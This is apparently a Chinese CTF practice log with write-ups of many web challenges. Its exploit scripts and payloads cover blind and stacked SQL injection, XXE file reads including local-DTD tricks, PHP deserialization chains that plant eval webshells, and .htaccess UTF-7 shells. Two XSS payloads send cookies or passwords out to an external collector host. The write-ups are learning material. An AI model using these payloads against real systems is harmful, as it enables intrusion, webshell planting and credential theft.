BUU刷题记录——4

[HarekazeCTF2019]Avatar Uploader 1

finfo_file用来判断上传图片类型,getimagesize可以判断文件像素大小,并且再进行一次类型判断。

 

 

finfo_file函数应该是直接打开文件,来获取文件类型。而getimagesize函数是通过图片尺寸数组中第三个元素是否为int型的3来判断的。

finfo_file 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以。

所以我们只要保持png头就可以,将他的相符判断部分删除掉。

 

注意后面不能有00 00 00 00等无用字符,能上传但没有flag,无法逃过getimagesize验证。如下图蓝色部分

 

[ISITDTU 2019]EasyPHP

异或绕过字符以及数量限制rce

正则识别网站:https://regex101.com/

 

 

$array=get_defined_functions();//返回所有内置定义函数

foreach($array['internal'] as $arr){

    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;

    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;

    print($arr.'<br/>');

}

得到可使用得内置函数

final_string="phpinfo"

allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"

for a in final_string:   

    for i in allowed:

        for p in allowed:

            if ord(i)^ord(p)==ord(a):

                print("i=%s p=%s a=%s"%(i,p,a))

得到异或字符

对所需字符进行整理后,对所需异或字符数量进行缩减

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # 原始列表

result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # 精简后得

temp = []

for d in result2:

    for a in result:

        for b in result:

            for c in result:

                if (a ^ b ^ c == d): #如果精简后列表中的字符可以异或出原始列表的

                    if a == b == c == d:

                        continue

                    else:

                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))

                        if d not in temp: #如果这个原始列表字符未添加进精简后列表

                            temp.append(d)

print(len(temp), temp)

 

[SWPU2019]Web4

PDO场景下的sql注入:用16进制加mysql预处理来解决。

预处理下的安全问题

模拟预处理下

<?php

$dbms='mysql';

$host='127.0.0.1:3306';

$dbName='user';

$user='root';

$pass='root';

$dsn="$dbms:host=$host;dbname=$dbName";

try {

    $pdo = new PDO($dsn, $user, $pass);

} catch (PDOException $e) {

    echo $e;

}

$username = $_GET['username'];

$sql = "select id,".$_GET['field']." from user where username = ?";

$stmt = $pdo->prepare($sql);

$stmt->bindParam(1,$username);

$stmt->execute();

while($row=$stmt->fetch(PDO::FETCH_ASSOC))

{

    var_dump($row);

    echo "<br>";

}

正常请求 http://127.0.0.1/pdo/5.php?id=1&field=username
结果如下:
array(2) { ["id"]=> string(1) "1" ["username"]=> string(5) "admin" }

但是field参数可控,可以执行多条语句
http://127.0.0.1/pdo/5.php?id=1&field=username from users;select username,password
结果如下:
array(2) { ["id"]=> string(1) "1" ["username"]=> string(5) "admin" }
array(2) { ["id"]=> string(1) "4" ["username"]=> string(5) "test4" }

当设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时,也可以达到报错注入效果
http://127.0.0.1/pdo/5.php?id=1&field=username from users where (1 and extractvalue(1,concat(0x7e,(select(database())),0x7e)));%23
结果:
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: 'user' in......line 20

非模拟预处理时,同样的field字段可控,这时多语句不可执行,但是当设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时,也可进行报错注入
http://127.0.0.1/pdo/5.php?id=1&field=username from users where (1 and extractvalue(1,concat(0x7e,(select(version())),0x7e)));%23
结果:
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '5.7.26' in......line 20

这里用到的是由于pdo模拟预处理造成的堆叠注入

其payload大致格式如下:set @a=0x{0};PREPARE ctftest from @a;execute ctftest;

前面的@a即为我们所需的注入语句的16进制变量,0x后即为16进制的SQL注入payload,后面PREPARE ctftest from @a;execute ctftest;两句起到了定义并执行预处理语句的作用。

Exp:

import requests

url="http://094a7801-436a-4a50-9b73-ea921af6361c.node3.buuoj.cn/index.php?r=Login/Login"

flag=""

def str_to_hex(s):

    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

for i in range(1,40):

    print(i)

    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":

        sql = "select if((ascii(substr((select group_concat(flag) from flag),"+str(i)+",1))='"+str(ord(str1))+"'),sleep(6),2);"   # ctf

        sql_hex = str_to_hex(sql)#将payload转16进制后传入

        data={

            "username":"1\';SET @a=0x"+str(sql_hex)+";PREPARE st FROM @a;EXECUTE st;",

            "password":"123"

        }

        try:

            result=requests.post(url,json=data,timeout=6)

        except requests.exceptions.ReadTimeout:

            print(flag)

            break

print(flag)

#glzjin_wants_a_girl_friend.zip

下载审计源码

解码即可

[DDCTF 2019]homebrew event loop

审计源码可知

点数可以购买钻石,5个钻石可以得到flag,但只有三个点数

但程序判断存在逻辑漏洞:改变余额再判断是否合法,也就是说在调用buy_handler时同时传入get_flag,处理队列中的顺序就是余额+n -> get_flag -> 判断不合法,这时我们已经成功把flag写进session了。

trigger_event(querystring) #调用了trigger_event

跟进查看函数定义

将要执行的函数传进队列,但是也只能执行一次,如果将自己传入队列的话,就可以调用多个函数,套娃。

调用完此函数后,return进入execute_event_loop函数。

Payload:?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

通过p神的脚本:https://www.leavesongs.com/PENETRATION/client-session-security.html对session解密得到

[BSidesCF 2019]SVGMagic

svg转png考虑xxe 文件读取

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >

]>

<svg height="100" width="1000">

  <text x="10" y="20">&file;</text>

</svg>

/proc/self/pwd/代表当前路径 使用绝对路径进行读取

 

[EIS 2019]EzPOP

<?php

error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {

        $this->key = $key;

        $this->store = $store;

        $this->expire = $expire;

    }

    public function cleanContents(array $contents) {

        $cachedProperties = array_flip([

            'path', 'dirname', 'basename', 'extension', 'filename',

            'size', 'mimetype', 'visibility', 'timestamp', 'type',

        ]);

        foreach ($contents as $path => $object) {

            if (is_array($object)) {

                $contents[$path] = array_intersect_key($object, $cachedProperties); #挑出object与cachedProperties中相同键名的键值对,返回交集

                #$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shell的url后的base64编码

            }

        }

        return $contents;

    }

    public function getForStorage() {

        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);

    }

    public function save() {

        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);  #  $this->store这里传入class B 的对象实例  调用B类中的set函数

    } 

    public function __destruct() {

        if (!$this->autosave) {

            $this->save();

        }

    }

}

class B {

    protected function getExpireTime($expire): int {

        return (int) $expire;

    }

    public function getCacheKey(string $name): string {

        return $this->options['prefix'] . $name; #file_put_contents的$filename参数来源  设置为options['prefix'] = "php://filter/write=convert.base64-decode/resource="

    }

    protected function serialize($data): string {

        if (is_numeric($data)) {

            return (string) $data;

        }

        $serialize = $this->options['serialize'];  #file_put_contents的$data参数来源options['serialize'] = 'strval'  strval()函数 — 获取变量的字符串值

        return $serialize($data);# 一个动态变量调用

    }

    public function set($name, $value, $expire = null): bool{

        $this->writeTimes++;

        if (is_null($expire)) {

            $expire = $this->options['expire'];

        }

        $expire = $this->getExpireTime($expire);

        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {

            try {

                mkdir($dir, 0755, true);

            } catch (\Exception $e) {

                // 创建失败

            }

        }

        $data = $this->serialize($value); #此serialize为class B的自定义函数

        if ($this->options['data_compress'] && function_exists('gzcompress')) {  # 这里要传入options['data_compress'] = false 防止数据被压缩

            //数据压缩

            $data = gzcompress($data, 3);

        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;  # 利用php的过滤器绕过死亡之die

        $result = file_put_contents($filename, $data);

        if ($result) {

            return true;

        }

        return false;

    }

}

if (isset($_GET['src']))

{

    highlight_file(__FILE__);

}

$dir = "uploads/";

if (!is_dir($dir))

{

    mkdir($dir);

}

unserialize($_GET["data"]);

本质为file_put_contents文件上传绕过,但配合反序列化,对传值有一些影响

$this->options['data_compress'] 这些未在类中定义变量,可在序列化时写入,反序列化时传入函数。

Pop链如下

A::__destruct->save()->getForStorage()->cleanStorage()

B:: A类_save()->set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell->getshell

EXP:

<?php

class A{

    protected $store;

    protected $key;

    protected $expire;

    public function __construct()

    {

        $this->key = 'test.php';

        $this->store = new B();

    }

}

class B{

    public $options;

    function __construct()

    {

        $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";

        $this->options['expire'] = 11;

        $this->options['data_compress'] = false;

        $this->options['serialize'] = 'strval';

    }

}

$a = new A();

$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");

$path = '111';

$a->cache = array($path=>$object);

$a->complete = '2';

echo urlencode(serialize($a));

?>

?data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A8%3A%22test.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

test.php  POST 传参cmd=system('cat /flag');

[RoarCTF 2019]Simple Upload

文件上传条件竞争

发完包爆破文件名即可

[GXYCTF2019]BabysqliV3.0

<?php

error_reporting(0);

class Uploader{

       public $Filename;

       public $cmd;

       public $token;

      

       function __construct(){

              $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";

              $ext = ".txt";

              @mkdir($sandbox, 0777, true);

              if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){

                     $this->Filename = $_GET['name'];

              }

              else{

                     $this->Filename = $sandbox.$_SESSION['user'].$ext;

              }

              $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";

              $this->token = $_SESSION['user'];

       }

       function upload($file){

              global $sandbox;

              global $ext;

              if(preg_match("[^a-z0-9]", $this->Filename)){

                     $this->cmd = "die('illegal filename!');";

              }

              else{

                     if($file['size'] > 1024){

                            $this->cmd = "die('you are too big (′▽`〃)');";

                     }

                     else{

                            $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

                     }

              }

       }

       function __toString(){

              global $sandbox;

              global $ext;

              // return $sandbox.$this->Filename.$ext;

              return $this->Filename;

       }

       function __destruct(){

              if($this->token != $_SESSION['user']){

                     $this->cmd = "die('check token falied!');";

              }

              eval($this->cmd);

       }

}

if(isset($_FILES['file'])) {

       $uploader = new Uploader();

       $uploader->upload($_FILES["file"]);

       if(@file_get_contents($uploader)){

              echo "下面是你上传的文件:<br>".$uploader."<br>";

              echo file_get_contents($uploader);

       }

}

?>

Payload

<?php

class Uploader{

    public $Filename;

    public $cmd;

    public $token;

}

$upload = new Uploader();

$upload->cmd = "highlight_file('/var/www/html/flag.php');";

$upload->Filename = 'test';

$upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3';

$phar = new Phar("exp.phar");

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($upload);

$phar->addFromString("exp.txt", "test");

$phar->stopBuffering();

题目过程简单 不再累述主要测试下tostring魔术方法被echo / file_get_contents($uploader) 两者触发的区别

两者均能触发toString魔术方法但echo能将 return 的内容打印出来

toSring魔术方法:当对象被当成字符串处理时就会触发

Path通常为字符串

[CSAWQual 2019]Web_Unagi

由example文件可知,为文件上传xxe

<?xml version='1.0'?>

<!DOCTYPE users [

<!ENTITY xxe SYSTEM "file:///flag" >]>

<users>

    <user>

        <username>bob</username>

        <password>passwd2</password>

        <name> Bob</name>

        <email>bob@fakesite.com</email> 

        <group>CSAW2019</group>

        <intro>&xxe;</intro>

    </user>

</users>

当然也可以通过报错带出数据

<?xml version='1.0' encoding="utf-16"?>

<!DOCTYPE message[

  <!ELEMENT message ANY >

  <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">

  <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%NUMBER;

]>

通过进制转换绕过waf

iconv -f utf8 -t utf-16 2.xml>1.xml

[N1CTF 2018]eating_cms

登录 测试无注入弱密码  测试存在register.php,注册登录

Page参数存在任意文件读取,伪协议读取

/user.php?page=php://filter/convert.base64-encode/resource=user

/user.php?page=php://filter/convert.base64-encode/resource=function  #主要代码页面

有过滤利用parse_url解析漏洞,当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg  即可绕过

顺着提示一路走,最后读取upllloadddd.php

//user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php

无waf命令执行,/user.php?page=m4aaannngggeee上传抓包修改,/被过滤 使用cd ..进行回溯

 

[Black Watch 入群题]Web

登录测试无效,发现接口文件,数据json格式且过滤了常见的布尔注入符号

使用异或注入

Payload:

import time

import requests

url = "http://e2817767-0a27-4254-83ec-717ed5ff32b7.node4.buuoj.cn/backend/content_detail.php?id=2^"

name = ""

i=0

while True :

    head = 32

    tail = 127

    i += 1

    while(head<tail):

        mid = head + tail >> 1

        #payload = "(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)

        #payload = "(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d)" %(i,mid)

        payload = "(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))>%d)" %(i,mid)

       

        r = requests.get(url+payload)

        time.sleep(1)

        #print(url+payload)

        #print(r.json())

        if "Yunen" in str(r.json()):

            head = mid + 1

        else:

            tail = mid

    if head!=32 :

        name += chr(head)

        print(name)

    else:

        break

第二组账户密码即可登录得到flag

也可以用if语句进行注入

payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" %(i,mid)

payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" %(i,mid)

payload = "if(ascii(substr((select(group_concat(username))from(admin)),%d,1))>%d,3,2)" %(i,mid)

[CISCN2019 华东南赛区]Web4

猜测为文件读取或者ssrf,读取index.php无果,c查看中间件猜测为python web 读取/app/app.py

Session伪造即可获取flag。SECRET_KEY的获取方式app.config['SECRET_KEY'] = str(random.random()*233)

random.seed(uuid.getnode())设置随机数种子,而python random生成的数是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一样的

uuid.getnode(),是网卡mac地址的十进制数,读取/sys/class/net/eth0/address

使用flask-session-cookie-manager-master伪造,替换session 访问/flag即可

需要使用特定格式 用双引号

[GoogleCTF2019 Quals]Bnv

Submit提交后抓包可以看到,接口以及json数据 json数据传输可能会存在XXE

XXE本地DTD文件

XXE一般都是考如何获取到XXE所包含文件的数据,即如何把数据泄露出来。常用的方法有:引入外部服务器或者外部dtd文件,来实现OOB带外信息传送,如果服务器和你的VPS之间存在防火墙,那数据往往无法带出。

这里通过查找本地dtd文件进行强制执行,并在其中重新定义一些参数实体引用(如同sql注入一般通过闭合对参数实体进行重写)

使用sip-app_1_0.dtd为例,其主要内容如下

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>

我们的payload按照如下构造:

<?xml version="1.0" ?>

<!DOCTYPE message [

<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>

<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

<!ELEMENT aa (bb'>

%local_dtd;

]>

其中

<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> 为强制执行本地DTD文件

<!ENTITY % condition 'aaa)>

。。。

<!ELEMENT aa (bb'>

这里是相当于做了一个闭合,可以按sql注入那种方式去理解这里的xxe,因为

<!ELEMENT pattern (%condition;)>

对condition实体进行了引用,所以会把condition内容替换进来

而我们在强制执行本地DTD文件以后,是可以重新定义该文件中的一些参数实体引用的,当我们重新定义了该参数实体时,就可以构造

<?xml version="1.0"?>

<!DOCTYPE message[

    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamso '

    <!ENTITY &#x25file SYSTEM "file:///flag">

    <!ENTITY &#x25eval "<!ENTITY &#x26;#x25error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">

    &#x25;eval;

    &#x25;error;

'>

%local_dtd;

]>

如何查找本地dtd文件?

通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:

Linux

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa 'Your DTD code'>

%local_dtd;

Windows

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">

<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>

%local_dtd;

感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">

<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>

%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">

<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>

%local_dtd;

多平台 IBM WebSphere 应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">

<!ENTITY % xs-datatypes 'Your DTD code'>

<!ENTITY % simpleType "a">

<!ENTITY % restriction "b">

<!ENTITY % boolean "(c)">

<!ENTITY % URIref "CDATA">

<!ENTITY % XPathExpr "CDATA">

<!ENTITY % QName "NMTOKEN">

<!ENTITY % NCName "NMTOKEN">

<!ENTITY % nonNegativeInteger "NMTOKEN">

%local_dtd;

 

[SUCTF 2018]MultiSQL

题目名提示为sql注入,猜测用户名处存在二次注入

单引号被过滤,union,select也被过滤,fuzz测试后发现过滤了union,select ,&,|,由于用户名这里被单引号包裹,被过滤之后无法逃逸执行payload语句。好在用户信息存在另一个注入点,为数字型,过滤了select然后存在堆叠注入的可以使用预处理注入,PDO多语句执行。

尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;

使用脚本编程十进制:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"

len_str=len(str)

for i in range(0,len_str):

       if i == 0:

              print('char(%s'%ord(str[i]),end="")

       else:

              print(',%s'%ord(str[i]),end="")

print(')')

/user/user.php?id=6;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

set 即对变量赋值

写马执行即可

[FireshellCTF2020]Caas

  1. #include ''预处理编译报错
  2. 文件包含

根据报错发现是C语言编译器,输入:

#include <stdio.h>

int main() {

    printf("Hello, World! \n");

    return 0;

}

编译后下载了一个文件:

开始以为和这个文件有关,但是后续尝试中发现可以利用编译报错

猜测flag应该是以文件形式存在服务器中,尝试使用#include ''预处理命令,引入文件/etc/passwd,构造代码:#include "/etc/passwd" 得到回显

#include "/flag"   得到最终flag

[2020 新春红包题]1

与[EIS 2019]EzPOP 基本一致但做了文件名后缀限制可用user.ini,pht等后缀,或者通过路径穿越绕过

POC:

<?php

class A{

    protected $store;

    protected $key;

    protected $expire;

   

    public $cache =[];

    public $complete = true;

   

    public function __construct () {

        $this->store = new B();

        $this->key = '/../a1.php/.';

       

        $this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg'];

    }

   

}

class B{

    public $options = [

        'serialize' => 'serialize',

        'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',

    ];

}

$a = new A();

echo urlencode(serialize($a));

?>

不知道是不是这段代码的问题,用之前的POC 修改后缀名为pht,不行文件内容会空白。

 

[CISCN2019 华东北赛区]Web2

XSS盗取管理员cookies 、sql注入

通过buu自带xss平台,复制代码并将(new Image()).src换成window.location.href 确保自动触发js代码

到投稿界面,不断 fuzz,然后发现有”waf“,里面的所有东西和外面的括号都得转个码,用 HTML Markup 转码。

HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html

exp:

in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=DKcxeq&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"

output = ""

for c in in_str:

    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

使用MD5爆破验证码

import hashlib

def func(md5_val):

    for x in range(999999, 100000000):

        md5_value=hashlib.md5(str(x)).hexdigest()

        if md5_value[:6]==md5_val:

            return str(x)

if __name__ == '__main__':

    print func('d9f173')

域名要换成web.  这里自己访问恶意页面xss平台可以接收到,但题目的机器人始终无法访问带出数据

然后带着管理员session访问admin.php,有个sql注入,手工注入即可

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#

[SUCTF 2018]annonymous

<?php

$MY = create_function("","die(`cat flag.php`);");

//创建一个$MY的匿名函数,函数的作用是输出flag

//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)

$hash = (openssl_random_pseudo_bytes(32));

//生成一个随机数

eval("function SUCTF_$hash(){"

."global \$MY;"."\$MY();".

"}");

//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名

要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY

if(isset($_GET['func_name'])){

         $_GET["func_name"]();

         bin2hex die();

   // bin2hex()函数把ASCII字符的字符串转换为十六进制值

}

show_source(__FILE__);

create_function()函数在创建之后会生成一个函数名为:%00lambda_%d

%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动

Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了

exp:

import requests

while True:

    r=requests.get('http://c68aef86-5a48-4e86-903d-716f296757b5.node4.buuoj.cn:81//?func_name=%00lambda_1')

    if 'flag' in r.text:

        print(r.text)

        break

    print('Testing.......')

[GWCTF 2019]mypassword

根据提示查看login.js,发现有记录密码的功能

if (document.cookie && document.cookie != '') {

       var cookies = document.cookie.split('; ');

       var cookie = {};

       for (var i = 0; i < cookies.length; i++) {

              var arr = cookies[i].split('=');

              var key = arr[0];

              cookie[key] = arr[1];

       }

       if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){

              document.getElementsByName("username")[0].value = cookie['user'];

              document.getElementsByName("password")[0].value = cookie['psw'];

       }

}

还有一个反馈页面,喝和反馈列表,查看源码,得到反馈部分代码

if(is_array($feedback)){

                            echo "<script>alert('反馈不合法');</script>";

                            return false;

                     }

                     $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];

                     foreach ($blacklist as $val) {

                      while(true){

                          if(stripos($feedback,$val) !== false){

                              $feedback = str_ireplace($val,"",$feedback);

                          }else{

                              break;

                          }

                      }

                  }

那就是打XSS,让机器人查看

但上面的login.js有记录密码的功能可被利用

这个过滤是把关键词替换成了空格,并且一个关键字只检查一遍,所以我们可以构造形如incookieput,这样结果就是input,也就是双写绕过即可

<incookieput type="text" name="username">

<incookieput type="password" name="password">

<scrcookieipt scookierc="./js/login.js"></scrcookieipt>

<scrcookieipt>

       var psw = docucookiement.getcookieElementsByName("password")[0].value;

       docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1js2xau1/?psw="+psw;

</scrcookieipt>

使用http://http.requestbin.buuoj.cn/ 接收flag    create一个即可

这里由于题目的机器人问题 始终无法接收到flag

[XNUCA2019Qualifier]EasyPHP

<?php
    $files scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename $_GET['filename'];
    if(preg_match("/[^a-z\.]/"$filename) == 1) {
        echo "Hacker";
        die();
    }
    $files scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename$content "\nJust one chance");
?>

一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,使得无法直接写入include的fl3g.php页面,并且结尾被加上了一行Just one chance,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。最后一行导致的.htaccess报错的问题可以通过# 注释掉来解决。

预期解:

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL即PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

因此只要控制include_path便可以使这里include进来的fl3g.php可以是任意目录下的某个文件。也就是说只有有一个同名文件内容可控即可,通常可以想到通过错误日志进行写入。

查找所有php log相关的功能可以看到error_log这一选项

error_log 可以将 PHP 运行报错的记录写到指定文件中,通过在配置代码中写了一处不存在的fl3g.php触发报错。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将 payload 作为一个路径去访问时就会因为找不到fl3g.php而报错,并将报错记录在指定的错误文件中。

思路:利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。

但error_log的内容默认是htmlentities(将字符转换为 HTML 转义字符)的,无法插入类似<?php phpinfo();?>的payload。可通过设置编码来绕过限制从而getshell.

Payload:

  • Step1 写入.htaccess error_log相关的配置

php_value include_path "+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-"

php_value error_log /tmp/fl3g.php

# \

/index.php?filename=.htaccess&content=php_value%20include_path%20%22%2BADw%3Fphp%20eval(%2BACQAXw-POST%2BAFs-whoami%2BAF0)%2BADs%3F%2BAD4-%22%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

  • Step2 访问index.php留下error_log
  • Step3 写入.htaccess新的配置

php_value include_path "/tmp"

php_fl\

ag zend.multibyte 1

php_value zend.script_encoding "UTF-7"

# \

/index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_fl%5C%0Aag%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

  • Step4 再访问一次index.php?whoami=evilcode即可getshell.

非预期1:

php_value auto_prepend_fi\le ".htaccess"#<?php @eval($_GET['cmd']); ?>\

在.htaccess中#表示注释符号的意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号"\"换行的功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess

非预期2:

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

正则回朔绕过正则匹配

